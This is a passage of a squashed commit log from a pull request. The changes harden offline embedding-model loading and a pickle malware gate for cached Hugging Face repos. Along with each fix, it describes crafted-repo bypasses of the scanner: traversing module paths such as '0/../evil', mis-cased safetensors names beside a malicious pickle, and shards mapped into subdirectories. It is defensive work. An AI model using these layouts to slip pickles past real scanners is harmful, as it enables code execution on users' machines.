Drops the short-lived hf_hub_offline() helper, which no longer has a caller.

* studio: scope the offline scan bypass to callers that load local-only

The previous commit put the offline short-circuit inside _fetch_security_status,
which is the malware gate shared by every loader -- so TRANSFORMERS_OFFLINE=1
disabled it for all of them, while only the RAG embedder had been changed to
pass local_files_only. MLX inference (core/inference/worker.py -> FastMLXModel
.from_pretrained), training and export call from_pretrained with no local-only
argument, and huggingface_hub ignores that flag, so those paths could still
fetch and deserialize an unscanned model with the gate switched off.

The bypass is now an explicit local_only_load argument, defaulting to False, and
only the two RAG embedding callers -- whose loader is pinned to the local cache
by the same predicate -- opt in. Tests pin both halves: the shared gate must
still scan under either offline flag by default, and no other caller may pass
local_only_load without constraining its loader.

* studio: capture offline state once, and probe the ST cache root

Two holes in the offline embedding path:

- _get() read hf_env_offline() twice: once inside _guard_model_security and
  again for local_files_only. _hf_offline_if_dns_dead() mutates the process-wide
  offline vars and restores them on exit, so a concurrent load could see True in
  the guard -- skipping the Hub malware scan -- and False by the time the
  constructor ran, fetching and deserializing the unscanned repo and breaking
  the very invariant that licenses the bypass. The value is now read once in
  _get() and passed to both; _guard_model_security takes it as an argument
  instead of re-deriving it.

- The cache probe searched only HF_HUB_CACHE. SentenceTransformer downloads into
  SENTENCE_TRANSFORMERS_HOME when that is set, using the same
  models--org--name/snapshots layout under a different root, so a model fully
  present there looked uncached and was rejected with a 409 offline even though
  the local-only loader could load it. Snapshot lookup now covers both roots.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: probe the cache the ST loader actually uses, and require it be loadable

Adding SENTENCE_TRANSFORMERS_HOME to the shared snapshot iterator was too broad
in one direction and too narrow in another:

- _get() builds SentenceTransformer with no cache_folder, so with ST_HOME set it
  searches THAT root only, never the Hub cache. Probing the union let offline
  validation pass on a repo cached only in the Hub cache, after which the loader
  looked in ST_HOME and failed. The Sentence-Transformers probe now resolves to
  exactly one root: ST_HOME when set, the Hub cache otherwise.

- The shared iterator is also used by the GGUF detectors, whose downloads go
  through hf_hub_download with no cache_dir and therefore really do use the Hub
  cache. It is back to Hub-cache-only so detection cannot pick a snapshot the
  GGUF load will not find.

- Casing normalization ran through resolve_cached_repo_id_case, which scans the
  Hub cache, so with ST_HOME set the requested spelling was persisted unchanged
  and the exact-case offline load missed the differently cased directory that
  detection had just accepted. It now resolves against the same roots detection
  uses, exact match first.

- A snapshot carrying only modules.json no longer counts as cached: the online
  security preflight downloads that single file itself, and a partial download
  leaves it behind, so validation passed for a snapshot with no weights and the
  first RAG load then failed. A hit now requires the marker plus a config and at
  least one weight file.

* studio: thread the captured offline state into the module probe, fix the gate shard

- _st_module_subdirs() re-read the process env for its local_files_only. With
  _hf_offline_if_dns_dead() flipping those vars from another thread, a load that
  captured local_only=False could still force this probe local-only, get () back
  because modules.json is not cached, and leave the scan with NO module load
  roots -- a Hub-flagged pickle under 0_Transformer/ would then pass as an
  unreferenced nested artifact while the loader fetched and deserialized it. It
  now takes the captured predicate as an argument, and the settings route reads
  the state once and uses that single value for both the probe and the scan.

- Skip ST-cache casing on the llama-server backend. Nothing there loads through
  SentenceTransformer: the embedder derives a GGUF companion from the saved
  spelling and fetches it from the HUB cache, so normalizing to an ST_HOME
  spelling would point it at a repo _hf_gguf_backend_error() never validated
  (BAAI/bge-m3-GGUF instead of the checked baai/bge-m3-GGUF).

- Fix the security-gate shard, which the signature change had broken: the direct
  _guard_model_security / _st_module_subdirs callers now pass the new argument
  (they were raising TypeError before reaching any assertion), and the casing
  tests patch utils.models.resolve_st_cached_repo_id_case, which the route
  actually calls, instead of the Hub-only resolver it no longer uses -- those
  patches were being silently ignored.

* studio: accept only torch-loadable weights in the offline ST probe; fix re-export lint

_snapshot_is_loadable_st_model accepted a cached snapshot whose only weights
were .onnx (or .pt), but the RAG loader builds SentenceTransformer with the
default torch backend, so such a snapshot passed offline validation and then
failed on the first load, the exact validate-then-fail this helper exists to
prevent. Restrict _ST_WEIGHT_SUFFIXES to .safetensors and .bin and add a
regression test for an ONNX-only snapshot.

Also teach scripts/verify_import_hoist.py that names listed in a module-level
__all__ are uses, so the legitimately added resolve_st_cached_repo_id_case
re-export in utils/models/__init__.py no longer trips HOISTED-IMPORT-UNUSED.
Covered by two new self-test cases.

* studio: probe the exact repo dir and revision an offline load resolves

The cache probe modelled the cache loosely rather than modelling what
SentenceTransformer actually does with local_files_only=True:

- It merged snapshots across every case-variant repo dir and then read refs/main
  from whichever held the newest one. With both models--baai--bge-m3 and
  models--BAAI--bge-m3 present, a complete embedding snapshot in the directory
  the loader opens could be judged by a newer partial snapshot in the other,
  failing validation for a usable model. It now selects the ONE directory the
  loader opens, by the same exact-case-first rule resolve_st_cached_repo_id_case
  uses to choose the spelling that gets persisted.

- It fell back to scanning historical snapshots when refs/main was absent. With
  local_files_only the default revision is resolved THROUGH that ref, so a
  snapshot directory alone is not discoverable: the settings request succeeded
  and the loader then failed at first indexing. A missing, empty or unreadable
  ref is now a cache miss, and the historical scan is gone.

The tests exercise the real lookup against a built cache tree instead of
patching the snapshot iterator, so they now cover the directory selection and
ref resolution the loader depends on.

* studio: record refs/main in the ONNX-only probe test

The ONNX-only regression test predates the refs/main requirement, so after that
change it returned None (a cache miss for want of a ref) before ever reaching
the weight-format check it exists to make. Recording the ref restores its
intent: the snapshot resolves, and the answer is False because an ONNX export is
not loadable by the RAG loader's default Torch backend.

* studio: recognize base-model weight files and gate the offline positive on a materialized snapshot

_snapshot_is_loadable_st_model matched any .safetensors/.bin by suffix, so a
partial cache carrying only a commonly published non-weight bin such as
training_args.bin (or an adapter-only artifact) passed offline validation and
then failed the local_files_only load at first indexing. Match recognized Torch
base-model weight filenames (model / pytorch_model, including sharded) by name.

is_embedding_model retained an online-confirmed positive offline even when no
files were cached, so a metadata-only /check-embedding result let an uncached
repo be saved and then fail at first indexing. Retain the positive only when the
active revision is materialized locally, which still covers a downloaded tag-only
embedder whose snapshot carries no modules.json.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: require a complete weight set offline and persist embedder verdicts across restarts

Two follow-ups to the offline embedding-model classifier:

- _snapshot_is_loadable_st_model now requires a COMPLETE Torch base-model
  weight set in one snapshot directory, not just any single recognized weight
  file. A partially downloaded sharded model (model-00001-of-00002 without its
  sibling) no longer passes offline validation and then fails at first indexing
  under local_files_only. Weight files are grouped by directory and a directory
  counts only when it holds a single model.safetensors / pytorch_model.bin or a
  full shard set whose indices cover 1..total.

- Online-confirmed embedder verdicts are now recorded under the resolved Studio
  home (embedding_verdicts.json). The session memo is lost on exit, so a
  downloaded tag-only feature-extraction embedder (snapshot present but no
  modules.json) was misclassified as non-embedding the first offline call after
  a restart. The offline branch consults this durable allowlist in addition to
  the memo, still gated on the active revision being materialized on disk, so an
  uncached repo is never trusted. Writes are best-effort and only positive
  verdicts are stored.

* studio: require complete weights (with shard index) and resolve default casing offline

Follow-ups to the offline embedding-model classifier from the latest review:

- Trust a recorded embedder verdict (session memo or persisted allowlist) offline
  only when the active snapshot carries a COMPLETE, loadable weight set, not merely
  that it is materialized. A partial download (config present, weights missing or an
  incomplete shard set) makes _embedding_marker_in_hf_cache read False rather than
  None, so the previous marker-is-not-None gate wrongly returned True and the
  local_files_only load then failed. Split out _snapshot_has_complete_weights (config
  plus complete weights, modules.json aside) and _active_snapshot_dir, and gate the
  known-embedder positive on the weight set.

- Require a sharded checkpoint's index map (model.safetensors.index.json /
  pytorch_model.bin.index.json) in addition to every shard before accepting it:
  transformers discovers and wires shards through that index, so a complete shard set
  without it fails the local-only load.

- Resolve the embedding model name to its exact cache casing in the RAG loader before
  constructing SentenceTransformer. The settings route persists that spelling for a
  custom override but deliberately leaves the configured default verbatim, so a
  default whose casing differs from the cache dir would miss it and fail offline.
  Resolving at load time covers the default too; a no-op for a local path or when
  nothing case-matching is cached, and idempotent for an already-normalized override.

Adds regression tests for the partial-snapshot verdict, the missing shard index, and
the loader casing resolution; updates the offline-invariant source assertion to the
resolved-name variable.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: require a tokenizer, case-fold verdict ids, and serialize verdict writes

Three follow-ups to the offline embedding-model classifier from the latest review:

- _snapshot_has_complete_weights now also requires a tokenizer asset. A
  SentenceTransformer Transformer module builds an AutoTokenizer, so a snapshot with
  a complete weight set but no tokenizer.json / tokenizer_config.json / vocab still
  fails the local_files_only load. The check is a permissive union over the common
  fast-tokenizer, config, and WordPiece/BPE/SentencePiece assets, so an unusual but
  valid layout is not rejected -- only a genuinely tokenizer-less partial download.

- The persisted embedder allowlist is now keyed case-insensitively. model_info() is
  queried under the requested casing while the settings route saves the cache-resolved
  casing, so an exact-string lookup missed the persisted positive after a restart
  (baai/model recorded, BAAI/model looked up) and a loadable tag-only embedder was
  rejected. Both persist and lookup case-fold the id.

- _persist_embedder serializes its read-modify-write under a lock and writes through a
  per-thread temp file, so concurrent confirmations of different embedders no longer
  drop each other's entry or collide on the temp path. Cross-process writers stay
  best-effort (os.replace is atomic; a dropped verdict is only an optimization miss a
  later online re-confirmation heals).

Adds regression tests for the missing-tokenizer reject, alternate tokenizer assets,
cross-casing verdict match, and concurrent verdict writes; updates the snapshot test
helpers to materialize a tokenizer alongside config and weights.

* studio: tighten comments in the offline embedding-model classifier

Comment-only pass over the PR's changed files. Collapse the long block
comments and docstrings around is_embedding_model, the cache-snapshot and
weight-completeness helpers, the embedder-verdict persistence, the offline
security gate, and the offline/casing tests to short one- or two-line forms.
Preserve the rationale (issue #6817, the local_files_only invariant, the
casing and weight-gate reasons) in far fewer words. No code changes.

* studio: drop redundant comments in the offline embedding-model classifier

Second comment-reduction pass over the offline embedding-model cache work:
delete comments and trailing notes that restate the adjacent code or an
assertion, and trim the remaining docstrings and rationale comments to their
load-bearing invariants. Comments and docstrings only; no code changes.

* studio: pin embedder verdicts to a revision, canonicalize default aliases

- A persisted verdict recorded that the Hub tagged ONE revision an embedder, but
  was stored per repo. Once refs/main advanced to a complete but non-embedding
  Transformer snapshot, the offline path still returned True: the settings route
  accepted the updated model without force and RAG could silently load it as an
  embedder. Verdicts now carry the commit they were confirmed at and are trusted
  only while the active revision matches. One confirmed before the repo was
  cached has no revision to compare, so the first revision observed afterwards is
  pinned then -- which is what lets a later advance be caught. The persisted file
  gains a {id: commit} form and still reads the previous list format.

- tokenizer_config.json no longer counts as a tokenizer asset. It only DESCRIBES
  a tokenizer, so a snapshot with config, weights and just that file passed
  validation and then failed AutoTokenizer.from_pretrained(local_files_only=True)
  at first indexing for common BERT/GPT-style models.

- A casing-only alias of the default is canonicalized to the default up front.
  Repo ids are case-insensitive but every gate here compares exact strings, so
  saving "Unsloth/bge-m3" against a default of "unsloth/bge-m3" ran the
  verification and scan for a custom model and then persisted an override --
  after which later changes to the configured default stopped applying.

- verify_import_hoist.py replays __all__ assignments in order instead of unioning
  them. Only the final value exports anything, so a later plain "=" that drops a
  name must leave its import counted as unused; "+=" still extends, and an
  unreadable rebind keeps the earlier names rather than flagging real re-exports.

* studio: validate the real ST load root, and pin verdicts to the Hub revision

Four ways the offline probe still disagreed with what the loader does:

- Verdicts were pinned to the LOCAL refs/main, but model_info() describes the
  current HUB revision. With a stale cache the two differ, so an older snapshot
  nobody verified was allowlisted. The pin is now info.sha, taken from the
  ModelInfo that produced the positive. A verdict carrying no revision (a legacy
  entry) is no longer trusted at all -- trusting it meant pinning whatever
  happened to be cached, which is the same bug; the next online check re-records
  it properly.

- config, tokenizer and weights had to exist somewhere in the snapshot, not
  together. modules.json can send SentenceTransformer at 0_Transformer/, which is
  loaded FROM that directory, so a cache with the config at the root and only
  0_Transformer/model.safetensors passed and then failed the local-only load.
  Each directory is now checked as a complete load root, which covers both the
  plain HF layout and the ST module layout.

- vocab.json and merges.txt counted independently, but BPE needs the pair unless
  a serialized tokenizer.json is present, so half a pair validated and then
  failed AutoTokenizer.from_pretrained(local_files_only=True).

- A slashless short name like all-MiniLM-L6-v2 is a supported ST alias that the
  loader resolves through the sentence-transformers/ organization, so its
  snapshot is cached under that full id. Probing only the bare name reported a
  miss and 409'd a model that was cached and loadable; the bare id is still tried
  first, matching the loader's own order.

* studio: fail closed for an offline security scan instead of failing open

A local_only (offline) load cannot fetch Hugging Face's malware scan, and the previous
behaviour skipped the scan and failed OPEN, so a cached repo with a poisoned pickle weight
could deserialize under SentenceTransformer(local_files_only=True). Evaluate it fail-CLOSED
against the cached files instead: block a base-model pickle weight the load would deserialize
(pytorch_model.bin and its shards, in a directory with no safetensors alternative) and allow a
pickle-free (safetensors / gguf are inert) cache. A cached pickle model must be reloaded online
once to be scanned, or shipped as safetensors. Nothing cached is not a security event.

_fetch_security_status no longer needs the local_only_load skip (the offline branch is handled
in evaluate_file_security). Adds a regression test covering the safetensors-allow and
pickle-block paths with no Hub call.

* studio: only suppress an offline pickle when a loadable safetensors weight exists

The offline security gate treated any .safetensors in a directory as covering a
pickle weight, so a cache with pytorch_model.bin beside a bare adapter_model.safetensors
(or an orphan shard with no index) passed the fail-closed check even though
from_pretrained still selects and deserializes the pickle. Require a genuinely loadable
safetensors weight -- an unsharded base file or a complete indexed shard set -- before
treating the pickle as covered.

Also make the import-hoist analyzer preserve uncertainty when __all__ is extended by a
value it cannot read statically (__all__ += dynamic()), matching how it already handles
an unreadable rebind, so a dynamically-supplied re-export is not flagged HOISTED-IMPORT-UNUSED.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: scope the offline pickle scan to load paths; reset __all__ opacity on rebind

Address three review follow-ups on the offline security gate and the import-hoist analyzer:

- The offline pickle scan walked the whole snapshot, so a stray pickle in a non-load
  subdirectory (archive/, nemo/) that SentenceTransformer never deserializes was blocked.
  Scope it to real from_pretrained load roots -- the snapshot root, or a subdir that holds
  its own config.json -- matching the online scan's load-path scoping.

- _collect_dunder_all kept a sticky opaque flag: a readable replacing assignment after an
  unreadable extend (__all__ += dynamic(); __all__ = []) still credited every import, so a
  genuinely unused hoist went unreported. A replacing assignment now resets opacity.

- A bare __all__: list[str] annotation has no runtime value; it was treated as an unreadable
  assignment and marked the export set opaque. Skip annotation-only declarations.

* studio: recase slashless ST aliases and accept a pinned embedder after a transient failure

Two offline-detection gaps on well-formed input:

- resolve_st_cached_repo_id_case bailed on every slashless name, so a differently-cased
  short alias (all-minilm-l6-v2) validated case-insensitively but was loaded verbatim; the
  SentenceTransformer loader rewrites it to sentence-transformers/all-minilm-l6-v2 and looks
  it up case-sensitively, missing the canonical sentence-transformers/all-MiniLM-L6-v2 cache
  dir. Resolve through _st_cache_repo_dir, which follows the same org alias, and hand back the
  on-disk casing.

- On a transient (non-permanent) Hub failure, is_embedding_model only accepted a cached
  modules.json marker, so a downloaded tag-only embedder (no modules.json) with a verdict
  pinned to the active revision was rejected even though the offline branch accepts the
  identical cache. Mirror the offline branch's pinned-verdict acceptance.

* studio: scan modules.json-declared module roots in the offline pickle gate

The offline pickle scan treated only the snapshot root and config.json-bearing subdirs as
load roots, so a pickle in a non-Transformer SentenceTransformer module directory that has no
config.json (e.g. a 0_WordEmbeddings/ module: wordembedding_config.json + pytorch_model.bin)
was skipped even though the loader deserializes it. Parse modules.json (and thread through
load_subdirs) to treat every declared module directory as a load root, so such a pickle is
scanned and fail-closed offline.

* studio: classify cached non-Transformer SentenceTransformer models offline

_snapshot_has_complete_weights recognized only a Transformer-shaped load root (config +
tokenizer + weights co-located), so a fully-cached model built from a non-Transformer module
(0_WordEmbeddings uses wordembedding_config.json + embedding weights and its own tokenizer, no
HF config.json; BoW keeps its vocab in config.json) was classified non-embedding offline and
the settings endpoint returned 409.

Add _snapshot_modules_all_loadable, which parses modules.json and accepts a snapshot when every
declared module's path directory carries the files that module class's own load() reads (a
Transformer/root module still needs the full HF load root; a WordEmbeddings module needs its
config plus a complete weight set; other modules need their *_config.json), and at least one
embedding-producing module is present. It is OR-ed after the Transformer check, so it only ever
accepts more and cannot regress the existing path or reject a pruned cache.

* studio: scan PEFT adapter pickle weights in the offline security gate

from_pretrained auto-detects an adapter_config.json in the load root and deserializes the
adapter weights on top of the base model, so adapter_model.bin is a separate pickle RCE vector
that a safetensors base weight does not cover. The offline scan matched only base-model pickle
names, so an offline local-only load with safetensors base weights plus a cached
adapter_model.bin was allowed despite the live adapter pickle. Scan adapter pickles too, scoped
to a load root where adapter_config.json is present and no adapter_model.safetensors exists.

* studio: require weights for Dense/CNN/LSTM SentenceTransformer modules offline

_module_dir_is_loadable accepted a Dense, CNN, or LSTM module dir with only its config, but
those modules' load() hard-load model.safetensors else pytorch_model.bin (verified against
sentence-transformers source: no fallback, raises if neither exists) -- exactly like
WordEmbeddings. A cache with such a module's config but no weights would validate and then
fail the local_files_only load. Require a complete weight set for every weighted module, not
just WordEmbeddings.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: scan root-index subdir pickle shards offline; handle __all__.append/.extend

- The offline pickle scan followed only load-root directories, so a shard mapped by a root
  pytorch_model.bin.index.json into a non-root subdirectory was skipped even though
  from_pretrained follows the index weight_map and deserializes it (a layout an attacker can
  craft to evade the scanner). Read the local index and scan its referenced pickle shards,
  covered by a loadable base safetensors at the index root -- mirroring the online scan.

- The import-hoist analyzer ignored __all__.append("X") / __all__.extend([...]) runtime
  re-export mutators, so an import added solely for one tripped HOISTED-IMPORT-UNUSED. Read
  their string args like +=, and treat any other __all__ method call as opaque.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: classify StaticEmbedding offline, require WordEmbeddings tokenizer, bound model_info

- A StaticEmbedding module (e.g. sentence-transformers/static-retrieval-mrl-en-v1's
  0_StaticEmbedding/) holds tokenizer.json + weights and NO config, so the config-gated
  non-Transformer path 409'd it offline. Recognize it by what StaticEmbedding.load() reads: a
  tokenizer.json plus a complete Torch weight set.

- WordEmbeddings.load() rebuilds its tokenizer via the configured tokenizer_class.load() from the
  module dir, so a WordEmbeddings module now also requires a tokenizer artifact
  (whitespacetokenizer_config.json / phrasetokenizer_config.json, or a shared HF tokenizer asset),
  not just its config + weights.

- With neither offline env var set, an unbounded model_info() could hang on connect/DNS retries
  for networkless users (the #6817 symptom). Bound it with a 15s timeout so a dead network fails
  fast and the existing transient-failure cache fallback resolves a cached model, while a
  reachable Hub still wins. (Documented caveat: a stalled DNS getaddrinfo may exceed this.)

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Resolve indexed safetensors shards relative to their index

_safetensors_index_complete compared shard basenames against the flat
set of files in the index directory, so an index whose weight_map names
shards in a subdirectory was treated as incomplete whenever a legacy
pytorch_model.bin sat beside it. That falsely blocked a snapshot whose
pickle weights are fully covered by a complete, loadable safetensors
shard set. Resolve each shard path relative to the index directory
instead, and add a regression test for the subdir-mapped shard case.

* Restrict offline weight-completeness check to declared load roots

_snapshot_has_complete_weights scanned every directory in a snapshot and
accepted it when ANY directory was a complete Transformer load root. When
modules.json is present a SentenceTransformer load only opens the declared
module paths, so a snapshot whose declared modules are incomplete but which
happens to contain an unrelated complete directory was accepted offline and
then failed at the first local_files_only load. Restrict the candidate
directories to the roots a load actually opens: the snapshot root plus each
modules.json module path. For a well-formed snapshot the verdict is
unchanged; only a complete directory at an undeclared path no longer vouches
for an otherwise-incomplete snapshot.

* Scan SentenceTransformer Router child module weights offline

A Router (legacy Asym) snapshot declares its child sub-modules only in
router_config.json, not the top-level modules.json, and Router.load()
deserializes each child's weights from its own subdir. A config.json-less
child such as query_0_WordEmbeddings (wordembedding_config.json plus a
pickle pytorch_model.bin loaded via torch.load) was therefore neither a
modules.json-declared load root nor a config.json-bearing dir, so the
offline gate skipped its pickle even though the loader deserializes it.
Parse router_config.json at each load root and treat every declared child
subdir as a load root (bounded BFS, so nested routers are covered), so
those child pickles are scanned. Add Router regression tests: a pickle
child blocks, a safetensors child is allowed, and a Router in a declared
subfolder is followed.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Do not treat an unreferenced config subdir as an offline load root

The offline pickle gate skipped a directory only when it was neither a
declared load root nor held a config.json. Because _st_load_roots already
resolves every real load root (snapshot root, modules.json / load_subdirs
dirs, Router children), the config.json fallback only ever promoted an
UNREFERENCED subdir -- a nested checkpoint-500/ or archive/ that ships its
own config.json + pytorch_model.bin -- to a load root. from_pretrained
never descends into such a subdir and the online scan ignores the same
unindexed pickle, so offline mode wrongly blocked a model the loader reads
from a clean safetensors root. Scope the pickle to directory in roots
only, and add a regression test (a stray checkpoint-500/ no longer blocks;
a modules.json-declared module dir still does).

* Classify a root Router (Asym) model as loadable offline

_module_dir_is_loadable applied Transformer root requirements (config +
tokenizer + weights) to every root module, so a Router saved at the
snapshot root -- which carries only modules.json + router_config.json and
loads its weights from child subdirs -- was classified not loadable
offline, and is_embedding_model missed a cached Router embedder. Dispatch
on the module class before the root Transformer fallback: a Router/Asym
dir is loadable when router_config.json parses and every declared child
subdir is loadable (validated recursively through _module_dir_is_loadable,
so nested routers and every child type are covered) with at least one
embedding-producing child. This also tightens a non-root Router, which
previously validated on the mere presence of router_config.json without
checking its children. Add Router regression tests (root and declared
subfolder, complete and incomplete-child).

* Require every declared module before accepting an offline cache

_snapshot_is_loadable_st_model returned has_complete_weights OR
modules_all_loadable, so a complete 0_Transformer short-circuited the or
and vouched for the whole snapshot even when a declared sibling module was
missing its serialized weights; SentenceTransformer builds every module in
modules.json, so that snapshot passed offline validation and then failed
the local-only load. When modules.json declares a non-empty list it is now
authoritative (modules_all_loadable validates every declared module);
has_complete_weights stays the fallback only for an empty/non-list
modules.json (the plain from_pretrained root). Also add the weight-bearing
modules whose load() hard-loads via load_torch_weights and previously fell
to the config-only path -- LayerNorm, WeightedLayerPooling, SparseAutoEncoder
-- to _ST_WEIGHTED_MODULE_NAMES, with source citations and the deliberate
exclusions (Pooling/Normalize/BoW/WordWeights read no weights on load).
Add parametrized regression tests over LayerNorm/WeightedLayerPooling/Dense
(a weightless sibling rejects, a complete sibling accepts).

* Reject self-referential Router children instead of recursing forever

_router_dir_is_loadable validates each router_config.json child through
_module_dir_is_loadable, which re-enters _router_dir_is_loadable for a
Router child. A malformed types entry naming the router's own directory
(a key of ".", which normalizes to the same dir) made that recursion
never descend, so it looped until RecursionError -- breaking the
documented never-raises contract and turning a crafted/corrupted cached
model into a 500 from is_embedding_model instead of a graceful
unverifiable result. A real child reference is a subdir and always
resolves deeper, so reject any child whose resolved path is the router
dir itself. Add a regression test (a router_config naming "." as a
Router child returns False without raising).

* Treat a destructuring __all__ assignment as opaque

_collect_dunder_all detected __all__ only as a direct ast.Name assignment
target, so a binding through a destructuring target (__all__, meta = [...],
v -> an ast.Tuple) was skipped entirely, leaving an empty, non-opaque
export set. A newly hoisted import re-exported only through that assignment
was then falsely flagged HOISTED-IMPORT-UNUSED. Its value cannot be mapped
statically, so mark the export set opaque when __all__ is reached only
through a destructuring / item / attr target, matching how the collector
already handles other unreadable __all__ forms. Add a self-test case.

* Canonicalize declared module paths before scoping the offline pickle gate

A repo could declare a traversing module path such as 0/../evil in
modules.json (or a router_config child), which SentenceTransformer resolves
to evil/ and deserializes evil/pytorch_model.bin. _st_load_roots recorded
the raw snap/"0/../evil", which never equals the snap/evil that rglob
yields, so the offline pickle gate skipped that directory and a malicious
repo slipped a pickle past the newly added gate. Add _canonical_load_dir
to collapse ./ and ../ components lexically and reject an upward escape,
and route the modules.json paths, load_subdirs and router children through
it so the gate scopes the same normalized directory the loader opens. Add
regression tests for a traversing modules.json path and router child.

* Close offline embedding-classification completeness gaps

Five real offline misclassifications, each a false negative (the #6817 hang
recurs) or false positive (accepted then 409s at the local_files_only load).

Dispatch _module_dir_is_loadable on the module class before the root
Transformer fallback. A module with save_in_root=True (every InputModule:
WordEmbeddings, StaticEmbedding, SparseStaticEmbedding, Transformer, Router)
is saved at the snapshot root, so a root WordEmbeddings was wrongly held to
Transformer requirements (an HF tokenizer it never writes) and classified not
loadable.

CLIPModel is Transformer-shaped: CLIPModel.load() reads AutoModel weights plus
AutoProcessor, so a config-only CLIP dir must not validate.

SparseStaticEmbedding needs a tokenizer plus either idf.json or a complete
torch weight set (conditionally weight-bearing); a config alone is not enough.

A present but empty or malformed modules.json is not loadable and does not fall
back to a root Transformer: with modules.json present the loader never takes
the plain-Transformer path (base/model.py _load_config_modules). The tag-only
no-modules.json embedder is classified separately via
_snapshot_has_complete_weights.

Validate a sharded weight index against its weight_map (every mapped shard
present, resolved relative to the index dir) instead of trusting the index
file's mere existence, mirroring the security-side check.

Add regression tests for all five.

* Close case-folding and online-traversal holes in the offline pickle gate

Two gate bypasses where the security scan credited or scoped a path
differently from what the loader actually resolves:

The safetensors credit was case-folded. _cached_pickle_weight_files lowercases
every filename, and the loadable-safetensors and adapter checks tested those
folded keys against the exact-lowercase names. On a case-sensitive filesystem
(Linux, the Studio default) a crafted repo shipping Model.SafeTensors plus a
malicious pytorch_model.bin makes transformers and sentence-transformers miss
the exact-name model.safetensors and deserialize the pickle, while the gate
credited an inert safetensors and did not block. Credit safetensors
case-sensitively against real filenames, and drop pytorch_model.safetensors
from the credit set (transformers loads only model.safetensors, never that
name). Pickle matching stays case-insensitive (over-blocking a mis-cased
pickle the loader would not load is the safe direction).

The online scan did not canonicalize traversing paths while the offline gate
did. A repo-controlled modules.json path (threaded into the online scan via
the RAG guard) or a weight_map shard entry like 0/../evil / ../evil was
compared verbatim, so a flagged evil/pytorch_model.bin never matched and
evaded the online scan though the loader resolves and deserializes it.
Canonicalize the repo-controlled load-subdir prefixes and weight_map shards
the same way the offline gate does, so offline and online agree.

Add regression tests for both bypasses.

* Treat a conditional __all__ mutation as opaque in the import-hoist linter

_collect_dunder_all replayed only top-level module statements, so an __all__
assignment or mutation inside a module-level if / try / for / while / with /
match (or a deeper scope) was ignored, leaving the export set understated. A
newly hoisted import re-exported only through such a conditional __all__ was
then falsely flagged HOISTED-IMPORT-UNUSED, blocking a valid change. A
conditional value cannot be replayed statically, so mark the export set opaque
when __all__ is bound or mutated anywhere other than a top-level statement.
Add a self-test case.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Scope Router child sub-modules as load roots in the online embedding scan

The RAG embedding security guard unions the SentenceTransformer module dirs
from modules.json into the load roots it scopes for the Hub scan, so a flagged
pickle directly under a Transformer module blocks. A Router (legacy Asym)
module declares its child sub-modules only in router_config.json, not in
modules.json, and Router.load() deserializes each child from its own subdir.
The online scan therefore dropped a flagged child pickle (for example
query_0_WordEmbeddings/pytorch_model.bin) as an unreferenced nested shard while
the loader still deserialized it, the counterpart to the offline gate which
already expands router children via _router_child_dirs.

_st_module_subdirs now reads router_config.json for any Router-typed module and
adds each declared child (joined onto the module path, canonicalized so a
traversing entry is dropped) to the load roots. The config is read only for a
Router-typed module, so a plain embedder pays no extra fetch, and every failure
path still returns () so the guard never bricks the embedder.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Allow a recorded-clean pickle embedder to load offline

The offline embedding security gate is fail-closed: with no network to reach
Hugging Face's scan, a cached pickle weight cannot be verified, so it is blocked
and a model the user already downloaded and used online will not load offline.
This adds a persistent cache of clean Hub verdicts so that exact content can load
offline, without weakening the gate for an unknown or never-scanned pickle.

When an embedding repo is loaded online and HF's scan returns a completed clean
verdict, the load roots are hashed and recorded under the scanned commit as an
exact map of snapshot-relative pickle name to sha256, in a per-user JSON store at
studio_root()/security/embedding_scan_verdicts.json (atomic write, 0600, thread
and cross-process locked, 30-day TTL). Offline, a cached pickle model loads only
when the active cached commit and every load-root pickle's sha256 match the
recorded verdict; a missing record, moved commit, changed or added pickle,
expired record, or any error keeps blocking. Online loads always re-query the
Hub and an authoritative unsafe verdict deletes any stale record, so a
now-flagged commit cannot keep loading on an old clean record.

The store binds repo id, full commit, and a per-file sha256 map so a locally
swapped pickle at the same commit, a branch advance, or an added load-relevant
pickle is detected. A same-user attacker who can rewrite the model cache or the
store is outside the enforceable boundary and this is documented; the sha256 is
computed just before load, so a narrow verify-to-load window remains, and a Hub
scanner false negative is recorded faithfully (safetensors stays the stronger
defense).

Recording is triggered post-load in the RAG embedder because the settings route
only validates and the pre-load guard runs before the constructor downloads;
recording is skipped when the loaded commit differs from the scanned commit. The
blocked-pickle enumerator now returns snapshot-relative Paths so two module dirs
that ship the same pickle basename are hashed and reported distinctly.

* Harden the embedding verdict cache against review findings

Tighten the offline verdict cache and its enumeration so every uncertain or
malformed input fails closed and the recorded hashes always match the files the
loader reads:

- Hash every case-colliding pickle in a load root, not one representative. On a
  case-sensitive filesystem pytorch_model.bin and PYTORCH_MODEL.BIN are distinct
  files; keying by lowered name dropped one and could hash a decoy instead of the
  loader's target. The enumerator now returns every variant Path.
- Only persist a clean verdict for a COMPLETED, entirely-benign scan. Require
  scansDone to be the boolean True (not a truthy string), filesWithIssues to be a
  well-formed list, and every flagged file to be a definitively-safe level; a
  pending, error, unknown, or malformed entry no longer records as clean. The
  online block decision is unchanged.
- Fail closed when the offline cache cannot be inspected: an rglob error now
  propagates and blocks instead of reading as pickle-free, and a snapshot that
  errors on resolution (vs a clean not-cached) blocks. The offline guard also
  raises instead of returning when its own inspection throws, so the constructor
  never deserializes an unverified cached pickle.
- Expand online Router children recursively (bounded BFS with a seen set),
  mirroring the offline load-root expansion, so a flagged grandchild pickle is
  scoped online and cannot be recorded clean.
- Reject absolute and drive/UNC declared paths in the load-root canonicalizers;
  the loader would resolve them outside the snapshot, so collapsing them to an
  in-snapshot relative dir scoped the wrong place.
- Pin verdict recording to the scanned commit's snapshot and take the offline
